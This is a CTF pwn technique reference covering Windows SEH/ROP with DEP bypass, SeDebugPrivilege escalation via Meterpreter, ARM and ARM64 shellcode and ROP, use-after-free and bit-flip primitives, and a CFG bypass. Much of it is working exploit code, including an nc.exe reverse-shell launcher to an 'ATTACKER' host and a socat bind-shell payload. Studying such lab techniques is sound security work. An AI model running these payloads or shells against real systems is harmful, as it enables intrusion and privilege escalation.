CTF Pwn - Advanced Exploit Techniques (Part 4)
Windows exploitation, ARM shellcode, Forth interpreter exploitation, and GF(2) Gaussian elimination for heap corruption.
Table of Contents
- Windows SEH Overwrite + pushad VirtualAlloc ROP (RainbowTwo HTB)
- SeDebugPrivilege to SYSTEM (RainbowTwo HTB)
- ARM Buffer Overflow with Thumb Shellcode (HackIM 2016)
- Forth Interpreter Command Execution (32C3 2015)
- GF(2) Gaussian Elimination for Multi-Pass Tcache Poisoning (Midnight Flag 2026)
- Single-Bit-Flip Exploitation Primitive (PlaidCTF 2016)
- Game of Life Shellcode Evolution via Still-Lifes (DEF CON Quals 2016)
- UAF via Menu-Driven strdup/free Ordering (PlaidCTF 2016)
- mmap/munmap Size Mismatch UAF for Thread Stack Overlap (0CTF 2017)
- Premature Global Index Update for Out-of-Bounds Stack Write (BKP 2017)
- strcspn as Indirect Null Byte Injection (BSidesSF 2017)
- Windows CFG Bypass Using system() as Valid Call Target (Insomni'hack 2017)
- Neural Network Output as Function Pointer Index OOB (SwampCTF 2018)
- Shellcode Unique-Byte Limit Bypass via Counter Overflow (Blaze CTF 2018)
- ARM64 getusershell() as x0 Setup Gadget for system() (HITCON 2018)
- OOB Dispatch Table Read via Attacker-Controlled rdx Index (TAMUctf 2019)
Windows SEH Overwrite + pushad VirtualAlloc ROP (RainbowTwo HTB)
Pattern: 32-bit Windows PE (Portable Executable) with ASLR (Address Space Layout Randomization), DEP (Data Execution Prevention), and GS (stack cookie) enabled but SafeSEH disabled. Combine format string leak (defeats ASLR) with SEH-based (Structured Exception Handler) buffer overflow using VirtualAlloc ROP chain to bypass DEP.
Attack chain:
- Format string leak defeats ASLR: User input used as printf format string leaks code pointer at position 2:
LST %p-%p-%p-%p-%p->binary_base = int(leaks[1], 16) - 0x14120 - Buffer overflow triggers SEH:
sprintf("Path: %s", user_path)into 1024-byte buffer overflows into SEH handler chain - Stack pivot via SEH handler:
add esp, 0xe10; retredirects from exception context into ROP chain - Ret-slide absorbs crash variation: 30x
retgadgets at start of ROP chain absorb variable crash offset - pushad VirtualAlloc technique: Set all 8 registers to correct values, then
pushadbuilds the entireVirtualAlloc(lpAddress, dwSize=1, flAllocationType=0x1000, flProtect=0x40)call frame in one instruction - IAT-relative function resolution:
VirtualAllocnot in IAT (Import Address Table), butTlsAllocis. Read[TlsAlloc@IAT], add offset to getVirtualAllocaddress -- offset calculated from providedkernel32.dll - jmp esp to shellcode: After VirtualAlloc marks stack RWX (Read-Write-Execute),
jmp espexecutes shellcode that follows
# Key ROP chain structure (simplified)
rop = p32(base + RET) * 30 # ret-slide for stability
# Set flProtect = 0x40 (PAGE_EXECUTE_READWRITE) via subtraction (avoid nulls)
rop += p32(base + POP_EAX) + p32(0x8314c2ab)
rop += p32(base + SUB_EAX) # sub eax, 0x8314c26b -> eax = 0x40
# Resolve VirtualAlloc: [TlsAlloc@IAT] + offset
rop += p32(base + POP_EAX) + p32(base + TLSALLOC_IAT)
rop += p32(base + MOV_EAX_DEREF_EAX) # eax = TlsAlloc address
rop += p32(base + ADD_EAX_EDI) # eax = VirtualAlloc address
# pushad builds call frame, jmp esp runs shellcode
rop += p32(base + PUSHAD_RET)
rop += p32(base + JMP_ESP)Bad characters for shellcode: \x00 (sprintf null), \x09-\x0d (whitespace), \x20 (space), \x25 (% triggers format string). Encode with msfvenom's shikata_ga_nai to avoid these bytes.
Detached process for shell stability: When exploiting thread-based servers, child processes die with the parent thread. Compile a launcher with CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS flags:
// i686-w64-mingw32-gcc launcher.c -o launcher.exe -static
#include <windows.h>
int main() {
STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
CreateProcessA(NULL, "C:\\shared\\nc.exe ATTACKER 9002 -e cmd.exe",
NULL, NULL, FALSE,
CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS | CREATE_NO_WINDOW,
NULL, NULL, &si, &pi);
return 0;
}Key insight: pushad pushes all 8 general-purpose registers (EDI, ESI, EBP, ESP, EBX, EDX, ECX, EAX) onto the stack in one instruction. By pre-loading each register with the correct value, pushad builds the entire STDCALL function call frame in the exact order Windows expects. This avoids the need for mov [esp+N], reg gadgets which are rare.
SeDebugPrivilege to SYSTEM (RainbowTwo HTB)
Exploits SeDebugPrivilege to escalate to SYSTEM by migrating into a SYSTEM-owned process. The privilege allows debugging any process, even if listed as "Disabled" -- Meterpreter enables it automatically before use.
Steps:
- Upload Meterpreter payload and obtain a session
- Migrate into a SYSTEM-level process:
meterpreter > migrate -N winlogon.exe
meterpreter > getuid
# NT AUTHORITY\SYSTEMMeterpreter's migrate injects a DLL into the target process (winlogon.exe, lsass.exe), running code as that process's user (SYSTEM).
Detection: whoami /priv shows SeDebugPrivilege. Common on service accounts and NT AUTHORITY\SERVICE.
Key insight: Always run whoami /priv after landing a Windows shell. SeDebugPrivilege -- even when shown as "Disabled" -- is a direct path to SYSTEM via process migration.
ARM Buffer Overflow with Thumb Shellcode (HackIM 2016)
ARM exploitation differs from x86 in several key ways:
- Register conventions: PC (program counter) instead of EIP; LR (link register) for return addresses
- Thumb mode: Set bit 0 of target address to 1 to switch to Thumb (16-bit) instructions, which avoids null bytes more easily
- Syscall numbers: Different from x86 (
execve= 11,dup2= 63)
Socket-based ARM Thumb shellcode (dup2 + execve):
.syntax unified
.thumb
dup2_loop:
mov r1, r6 @ socket fd (leaked or known)
mov r0, #0 @ stderr=0, increment for stdout, stdin
movs r7, #0x3f @ __NR_dup2 = 63
svc #1
add r0, #1
cmp r0, #3
blt dup2_loop
execve:
adr r0, shell
eor r1, r1 @ argv = NULL
eor r2, r2 @ envp = NULL
movs r7, #0xb @ __NR_execve = 11
svc #1
shell: .ascii "/bin/sh\x00"Cross-compile and test with QEMU:
arm-linux-gnueabi-as -mthumb -o sc.o shellcode.s
arm-linux-gnueabi-ld -o sc sc.o
qemu-arm -g 1234 ./sc # Debug with gdb-multiarchKey insight: Use qemu-arm for local testing and gdb-multiarch for debugging. Statically-linked ARM binaries contain all gadgets needed for ROP without library dependencies.
Forth Interpreter Command Execution (32C3 2015)
Forth interpreters may expose a system word that executes shell commands. When interacting with a Forth-based service:
s" cat /flag" system
s" ls -la" system
s" /bin/sh" systemThe s" word pushes a string address and length onto the stack; system pops them and executes via the shell. Check for other dangerous words: included (file inclusion), open-file, read-file.
GF(2) Gaussian Elimination for Multi-Pass Tcache Poisoning (Midnight Flag 2026)
When a binary applies a deterministic XOR cipher to heap data (corrupting adjacent tcache fd pointers as a side effect), and each cipher seed produces a different XOR keystream at the fd offset, model the corruption as a linear algebra problem over GF(2) to find exactly which seeds transform the fd to a target address.
Problem formulation: Given current fd value C and target T, compute delta D = C ^ T. Each seed i produces a 64-bit XOR vector v_i at the fd offset. Find a subset S of seeds where XOR(v_i for i in S) == D.
def find_subset_xor(vectors, target):
"""Find subset of 64-bit vectors that XOR to target via GF(2) Gaussian elimination"""
n = len(vectors)
basis = {} # bit_position -> (vector_value, set_of_contributing_indices)
for i, v in enumerate(vectors):
mask = frozenset([i])
val = v
for bit in range(63, -1, -1):
if not (val >> bit) & 1:
continue
if bit in basis:
val ^= basis[bit][0]
mask = mask.symmetric_difference(basis[bit][1])
else:
basis[bit] = (val, mask)
break
# Solve for target
result = frozenset()
val = target
for bit in range(63, -1, -1):
if (val >> bit) & 1:
if bit not in basis:
raise ValueError("Target not in span")
val ^= basis[bit][0]
result = result.symmetric_difference(basis[bit][1])
return result
# Precompute XOR vectors: run cipher with each seed, extract 8 bytes at fd offset
vectors = {}
for seed in range(10000):
keystream = djb2_cipher(seed, length=0x90)
xor_at_fd = u64(keystream[0x88:0x90]) # fd is at offset 0x88 in chunk
vectors[seed] = xor_at_fd
# Compute target delta (safe-linking aware)
current_fd = leaked_fd # From heap over-read
target_fd = (io_list_all - 0x10) ^ (chunk_addr >> 12) # Mangled target
delta = current_fd ^ target_fd
seeds_to_apply = find_subset_xor(vectors, delta)
# Apply each seed sequentially -- order doesn't matter (XOR is commutative)
for seed in seeds_to_apply:
apply_cipher(chunk_idx, seed)Typical result: ~30-35 seeds from a 10,000-seed space. Each application XORs one vector into the fd, cumulatively producing the exact target.
Key insight: Any deterministic byte-level transformation of heap metadata can be modeled as GF(2) linear algebra when the operation is XOR. This generalizes beyond specific cipher implementations -- it applies whenever you can repeatedly XOR predictable patterns into a target value.
Single-Bit-Flip Exploitation Primitive (PlaidCTF 2016)
Pattern (butterfly): Binary accepts an integer, computes address = input >> 3 and bit = input & 7, then flips *address ^= (1 << bit) after making the page RWX via mprotect. Single bit flip per invocation, but chaining multiple flips builds arbitrary code.
Exploitation strategy:
- Create a loop: Flip a bit in the function epilogue
add rsp, 0x48toadd rsp, 0x08, causing stack misalignment that reuses buffer contents as return address. Set return address to function start for repeated invocations:
# Flip bit 6 at address 0x400863 to change 0x48 -> 0x08
cosmic_ray = (0x400863 << 3) | 6 # = 33571614- Craft
jmp rsp: Flip one bit of an existingjmp raxinstruction (0xFF 0xE0) tojmp rsp(0xFF 0xE4):
cosmic_ray = (0x4006E6 << 3) | 2 # = 33568562- Disable stack canary check: Flip the conditional jump (
jnz) at the canary check to a non-branching instruction:
# 0x75 (jnz) ^ 0x40 = 0x35 (xor eax, imm32)
cosmic_ray = (0x40085B << 3) | 6Expand input buffer: Flip a bit in the
fgetssize argument to read more bytes for shellcodeMake stack RWX: Flip
mov r15, rbptomov r15, rspsomprotecttargets the stackInject shellcode on the now-RWX stack, return to
jmp rsp
Alternative approach: XOR shellcode with existing .text bytes, compute which bits differ, flip each one, then redirect execution to the shellcode location.
Key insight: A single-bit-flip primitive becomes arbitrary code execution through cumulative modifications. Each flip changes one instruction or operand, and returning to the function start enables unlimited flips. Priority targets: (a) stack unwinding instructions (control flow hijack), (b) existing branch instructions (bypass security checks), (c) mprotect arguments (change memory permissions), (d) size parameters (expand read buffers).
Game of Life Shellcode Evolution via Still-Lifes (DEF CON Quals 2016)
Pattern (b3s23): Binary reads coordinates for Conway's Game of Life cells on a 110x110 grid, runs 15 iterations, then executes the grid data as machine code. Construct a board that remains stable through 15 iterations while containing valid x86 shellcode.
Approach — static shellcode rows:
- Place x86 instructions in specific rows of the grid
- Use Game of Life "still-life" patterns (stable configurations) on surrounding rows to keep the shellcode rows unchanged through all iterations
- Connect shellcode rows with
JMPinstructions to skip non-code rows
Row N-1: still-life border pattern (keeps row N stable)
Row N: > shellcode bytes | JMP to next row
Row N+1: still-life border pattern
Row N+2: (empty or border)Shellcode constraints:
- Avoid 5+ consecutive 1-bits (no small still-life can stabilize these)
- Use
add al, 0(0x04 0x00) as NOP separator between instructions (all bits off) - Adjacent "wall" patterns (vertical columns of 1s) must match at boundaries
- Two columns of 0s between patterns prevents interference
Useful still-life patterns for embedding:
Block: xx Snake: xx x
xx x xx# Convert board to coordinates and feed to binary
import re
from pwn import *
rows = open('board.txt').read().split('\n')
coords = []
for y, row in enumerate(rows):
for m in re.finditer('x', row):
coords.append((m.start(), y))
p = process('./b3s23')
for x, y in coords:
p.sendline(f'{x},{y}')
p.sendline('done')
p.interactive()Key insight: Game of Life still-lifes are patterns unchanged by the update rules. By embedding shellcode in rows surrounded by still-life borders, the code survives all iterations. The simplest strategy is to read() real shellcode onto the grid after gaining execution, avoiding complex Game of Life-aware instruction encoding.
UAF via Menu-Driven strdup/free Ordering (PlaidCTF 2016)
Pattern (unix_time_formatter): Menu-driven binary uses strdup() to allocate user input (format string, timezone) and free() on exit. Exit option frees allocations but asks "Are you sure?" — answering "no" returns to the menu with dangling pointers. New allocations via strdup() reuse the freed memory.
Exploitation:
- Set format string (validated for safe characters:
%aAbBcC...) - Set timezone (no input validation)
- Choose exit → both pointers freed, but answering "no" continues
- Set timezone twice — second
strdup()reuses the format string's freed allocation - Format string pointer now points to attacker-controlled timezone data
- "Print time" executes
system("/bin/date -d @TIME +'FORMAT'")with injected format:
from pwn import *
p = remote('target', 9999)
p.sendlineafter('>', '1') # Set format
p.sendlineafter('Format:', '%c')
p.sendlineafter('>', '3') # Set timezone
p.sendlineafter('zone:', "';/bin/sh #\\")
p.sendlineafter('>', '5') # Exit (frees both)
p.sendlineafter('(y/N)?', 'n') # Don't actually exit
p.sendlineafter('>', '3') # Reallocate into freed format slot
p.sendlineafter('zone:', "';/bin/sh #\\")
p.sendlineafter('>', '3') # Second alloc gets other freed slot
p.sendlineafter('zone:', "';/bin/sh #\\")
p.sendlineafter('>', '4') # Print → shell
p.interactive()Key insight: strdup() uses malloc() internally, so freed strdup buffers enter the malloc freelist and are reused by subsequent strdup() calls of similar size. When the "exit" path frees memory but allows returning to the menu, any field with strict input validation (format) can be overwritten via a field without validation (timezone) through UAF freelist reuse. The system() call then executes the unvalidated content.
mmap/munmap Size Mismatch UAF for Thread Stack Overlap (0CTF 2017)
Pattern (UploadCenter): A PNG upload service uses mmap(width*height) for image storage but munmap(compressed_length) to free it. When compressed length exceeds image dimensions, munmap frees more memory than was mapped, unmapping adjacent regions. Chain: (1) upload large PNG so its mmap lands adjacent to a global output buffer; (2) delete PNG — munmap frees both the image AND the output buffer; (3) spawn a thread — pthread_create mmaps a stack into the freed gap, overlapping the still-referenced output buffer; (4) upload new PNG — decompressed data written through the output buffer overwrites the thread's stack for ROP.
# Trigger: allocation uses image dimensions, deallocation uses compressed size
# img = mmap(0, width*height, ...) # small allocation
# pngobj->length = compressed_length # larger than width*height
# munmap(pngobj->content, pngobj->length) # OVER-UNMAP!
# Exploit chain:
upload_png(large_png) # mmap lands near global output buffer
delete_png() # munmap frees output buffer region too
start_monitor() # pthread_create mmaps stack into freed gap
upload_rop_png(rop_payload) # decompress writes through output buf -> thread stackKey insight: The mmap/munmap size mismatch creates an "over-unmap" that silently destroys adjacent mappings. When a new thread's stack fills the gap, the old buffer pointer becomes a write-what-where into the thread's stack frame. This is a race-free UAF variant that doesn't require heap metadata corruption.
Premature Global Index Update for Out-of-Bounds Stack Write (BKP 2017)
Pattern (memo): The new_memo function stores the user-supplied memo index into a global variable before validating bounds. The allocation is rejected for out-of-bounds values, but the global last_memo retains the invalid index. The edit_memo function uses last_memo without bounds checking, and the program stores stack pointers at indices 5-9 of the array during new_memo. Setting last_memo=6 causes edit_memo to write through a stack address, enabling direct stack overwrites.
# Bug: global index set BEFORE bounds check
# new_memo:
# last_memo = user_index # stored here
# if user_index > 4: reject # checked too late
# memos[user_index + 5] = &stack_local # stack addr in array!
# Exploit:
new_memo(6) # rejected, but last_memo = 6
# memos[11] = stack pointer from new_memo's frame
edit_memo(payload) # writes through memos[6] which IS a stack address
# payload overwrites return address -> hidden shellcode executor functionKey insight: TOCTOU-style vulnerability in a single function — the index is committed to global state before validation rejects it. Combined with the program storing stack addresses in the same array, this turns an invalid index into a direct stack write primitive. Look for patterns where global state is updated before error checking.
strcspn as Indirect Null Byte Injection (BSidesSF 2017)
Pattern (Steel Mountain: Sensors): A CGI binary constructs filenames via snprintf("sensors/%s.cfg", input). Direct null byte injection is blocked by the CGI library. After snprintf, strcspn(buf, "\r\n") is called and the result index is used to write a null byte (terminating at the first newline). Injecting %0A (URL-encoded newline) after the desired filename causes: sensors/../flag.txt\n.cfg → null byte written at the \n position → sensors/../flag.txt\0.cfg, truncating the .cfg extension.
# Request: sensor=../flag.txt%0A&debug
# snprintf produces: "sensors/../flag.txt\n.cfg"
# strcspn("sensors/../flag.txt\n.cfg", "\r\n") = 23
# buf[23] = '\0'
# Result: "sensors/../flag.txt" (null-terminated, .cfg removed)
# -> reads /flag.txt via path traversalKey insight: strcspn followed by null-byte write is a common C pattern for line termination. When user input reaches this code path with injected newlines, it becomes an indirect null byte injection vector — even when direct null bytes are filtered by the input layer (CGI, HTTP).
Windows CFG Bypass Using system() as Valid Call Target (Insomni'hack 2017)
Pattern: Windows Control Flow Guard (CFG) validates indirect call targets at runtime, but system() from msvcrt is a valid CFG target, enabling exploitation via function pointer overwrite.
from pwn import *
# On Windows with CFG, overwrite function pointer with system()
# system() is a valid call target in CFG bitmap — it's a legitimate API entry point
# CFG only validates that the target is a valid function start, not WHICH function
# If input filter blocks space (0x20), use comma as argument separator
# cmd.exe treats comma as equivalent to space in argument lists
payload = b"type,flag.txt&whoami^/all\x00"
# 'type,flag.txt' works because cmd.exe treats comma as argument separator
# ^ escapes the / character
# & chains commands
# Exploit chain:
# 1. Leak module base (defeat ASLR)
# 2. Find system() address via IAT or known offset in msvcrt
system_addr = msvcrt_base + system_offset
# 3. Overwrite a function pointer (vtable entry, callback, etc.)
write_addr(vtable_entry, system_addr)
# 4. Trigger the indirect call with controlled first argument
# The overwritten pointer now calls system(attacker_string)
trigger_call(payload)// Alternative: if building a local exploit, bypass character filters
// Comma replaces space, ^ escapes special chars
// system("type,flag.txt") == system("type flag.txt")
// system("cmd,/c,dir") == system("cmd /c dir")Key insight: CFG only validates that the target is a valid function entry point -- it does not restrict which function is called. Since system() is a legitimate API exported by msvcrt, it passes CFG validation. Use comma instead of space and ^ for escaping when the input filter restricts certain characters. This applies to any Windows binary with CFG where you can overwrite an indirect call target.
When to recognize: Windows binary with CFG enabled (check with dumpbin /headers or winchecksec). Look for writable function pointers (vtables, callbacks, C++ objects) that are called via indirect call [reg] instructions. CFG prevents jumping to arbitrary code but allows calling any valid function.
References: Insomni'hack 2017
Neural Network Output as Function Pointer Index OOB (SwampCTF 2018)
Pattern: Binary uses a neural network to compute an index into a function pointer array without bounds checking. Edit neuron weights/biases to make the network output an out-of-bounds index pointing to win function.
Attack chain:
- Reverse engineer the NN architecture: input layer -> hidden layer -> output neuron
- Identify the function pointer array and the target
print_flagfunction at index 19 (beyond valid range) - The bias array is stored as IEEE 754 doubles -- the target address can be encoded directly as a bias value
- Retrain/edit weights so the network's output neuron produces index 19 for any input
- The OOB index reads from the biases array, interpreting the
print_flagaddress as a function pointer
import struct
import numpy as np
# Target: function pointer array has 10 valid entries (indices 0-9)
# print_flag is at a known address, need index 19 to reach it in memory
target_index = 19
# The NN output is: sigmoid(sum(w_i * x_i) + bias) * num_functions
# To force output = 19, adjust weights and biases:
# Set all hidden->output weights to 0 except bias
# bias = inverse_sigmoid(19 / num_entries) ... but simpler:
# Overwrite the bias in the model file to encode print_flag address
print_flag_addr = 0x08048686
bias_bytes = struct.pack('<d', float(target_index))
# Patch the model weights file
with open('model.bin', 'r+b') as f:
f.seek(bias_offset)
f.write(bias_bytes)
# When the NN runs: output index = 19 -> array[19] reads from biases
# biases[offset] contains print_flag address as IEEE 754 doubleKey insight: The target address (print_flag) is encoded as an IEEE 754 double in the biases array. The NN is retrained to output index 19 (beyond the valid array), which reads the bias value as a function pointer. Neural network models that compute array indices without bounds checking turn ML parameter editing into arbitrary function dispatch.
Shellcode Unique-Byte Limit Bypass via Counter Overflow (Blaze CTF 2018)
Pattern: When shellcode is limited to N unique bytes, use the first run to spray the stack with push instructions, corrupting the uniqueness counter (seen[256]). Arrange re-execution of main (skipping memset) so the counter overflows below N, then send arbitrary shellcode on the second run.
Exploitation strategy:
- The binary checks
seen[256]on the stack to count unique bytes in shellcode - If more than N unique bytes are found, execution is rejected
- First payload uses only a few unique bytes but sprays the stack with
pushinstructions - The
pushspray overwrites theseen[256]counter array on the stack - Arrange the shellcode to jump back to
mainbut past thememsetthat clearsseen[] - On the second run, the corrupted counter already shows values above threshold, and overflow arithmetic causes the unique count to appear below N
from pwn import *
# First run: corrupt seen[] counter via stack spray
# Use minimal unique bytes: pop rbx, dec rbx, push rbx, inc rsp, jmp rbx
payload1 = asm("pop rbx; " + ("dec rbx; " * (0x72f - 0x6d2)) +
("push rbx; " * 64) + "inc rsp; jmp rbx")
io.send(payload1)
# Second run: full shellcode passes because seen[256] overflowed back to <7
payload2 = asm(shellcraft.sh())
io.send(payload2)
io.interactive()Key insight: The unique-byte counter lives on the stack at seen[256]. Spraying the stack with push instructions during the first shellcode run corrupts this counter. When main re-executes without clearing the array, the overflowed counter allows arbitrary bytes in the second payload. Any stack-resident validation state can be corrupted by shellcode that targets the stack frame above it.
See advanced-exploits.md for VM signed comparison, BF JIT shellcode, type confusion, ASAN shadow memory, format string with encoding constraints, MD5 preimage gadgets, VM GC UAF, FSOP + seccomp bypass, and stack variable overlap techniques.
See rop-advanced.md for .fini_array hijack details.
See sandbox-escape.md for shell tricks and restricted environment techniques.
ARM64 getusershell() as x0 Setup Gadget for system() (HITCON 2018)
Pattern: ARM64 system() requires x0 to hold the pointer to the command string. Full ASLR + mangled PLT leave no clean one-gadget. But libc's getusershell() returns a pointer to the static string "/bin/sh" inside libc itself, and places it in x0 as its return value. A two-call ROP chain — getusershell() then system() — wins without needing any register-loading gadget.
from pwn import *
libc = ELF("./libc-2.27.so")
def get_libc_base(leak):
return leak - libc.symbols["printf"]
libc_base = get_libc_base(leak_from_bug)
libc.address = libc_base
rop = ROP(libc)
rop.raw(rop.find_gadget(["ret"]).address) # align stack
rop.call(libc.symbols["getusershell"]) # x0 ← "/bin/sh" (side effect)
rop.call(libc.symbols["system"]) # system("/bin/sh")
payload = cyclic(offset_to_pc) + rop.chain()
io.sendline(payload)
io.interactive()Key insight: ARM64 has far fewer stack-popping gadgets than x86-64, so classic pop rdi; ret chains rarely exist. Instead look for libc functions whose return value is a constant pointer that gets stored in the ABI's first-arg register: getusershell(), getenv("SHELL"), getpwuid(0)->pw_shell, tmpnam(). Chain any of them with system()/execve() and you get an implicit arg-setup for free. This trick generalises to any calling convention where the return register equals the first-arg register (ARM32/64, MIPS, RISC-V).
References: HITCON CTF 2018 — tooooo, writeup 11908
OOB Dispatch Table Read via Attacker-Controlled rdx Index (TAMUctf 2019)
Pattern (pwn6): Multi-command server dispatches incoming messages through a per-user function-pointer array:
mov rax, [rax + rdx*8 + 0x8] ; rdx = attacker-controlled index (u32 field of message)
call raxThe allowed-commands check reads [rax + rdx*8] for a null-pointer slot but never validates that rdx is in range — so any negative or large index pulls an adjacent memory qword into rax and calls it. Pick an rdx that lands on a stack-pivot gadget (add rsp, 0x58; ret) so the subsequent call leaves the message payload (also placed at rsp+0x58) as a full ROP chain.
import pwn
STACK_PIVOT = 0x409070 # add rsp, 0x58; ret
POP_RDI = 0x4021ce
POP_RAX = 0x409073
MOV_QW_RAX_RDI = 0x408e46 # mov [rax+0x10], rdi; ret -> arbitrary write
SYSTEM_PLT = 0x401a10
BINSH = 0x006d1000 # writable BSS slot we populate first
def array_lookup(rdx, payload):
# Message format: cmd=0x0a, 2-byte flags, then 32-bit rdx, then payload
return b'\x0a' + b'\x00'*2 + b'\x00' + pwn.p32(rdx - 4) + payload
rop = pwn.p64(STACK_PIVOT)
rop += write_what_where(b'socat TCP-LISTEN:1337,reuseaddr,fork EXEC:"/bin/sh"\x00', BINSH)
rop += pwn.p64(POP_RDI) + pwn.p64(BINSH)
rop += pwn.p64(0x401e7c) * 3 # ret-slides for 16-byte alignment
rop += pwn.p64(SYSTEM_PLT)
p = pwn.remote('127.0.0.1', 6210)
p.send(array_lookup(0x6c, rop)) # rdx=0x6c -> points at pivot gadgetKey insight: Every "permission check" that inspects an entry of a dispatch table (table[i] != NULL) is useless unless bounds are enforced before the read. When the read has the shape mov rax, [base + rdx*8 + C], any aligned 8-byte qword in the binary can be reached as a function pointer without needing to overflow or corrupt anything. Scan the binary for useful function-pointer-shaped qwords within ±0x1000 of base; stack pivots that reach a large message buffer produce a full ROP without further bugs, since the pivot lands RSP exactly on attacker data.
References: TAMUctf 2019 — pwn6, writeup 13479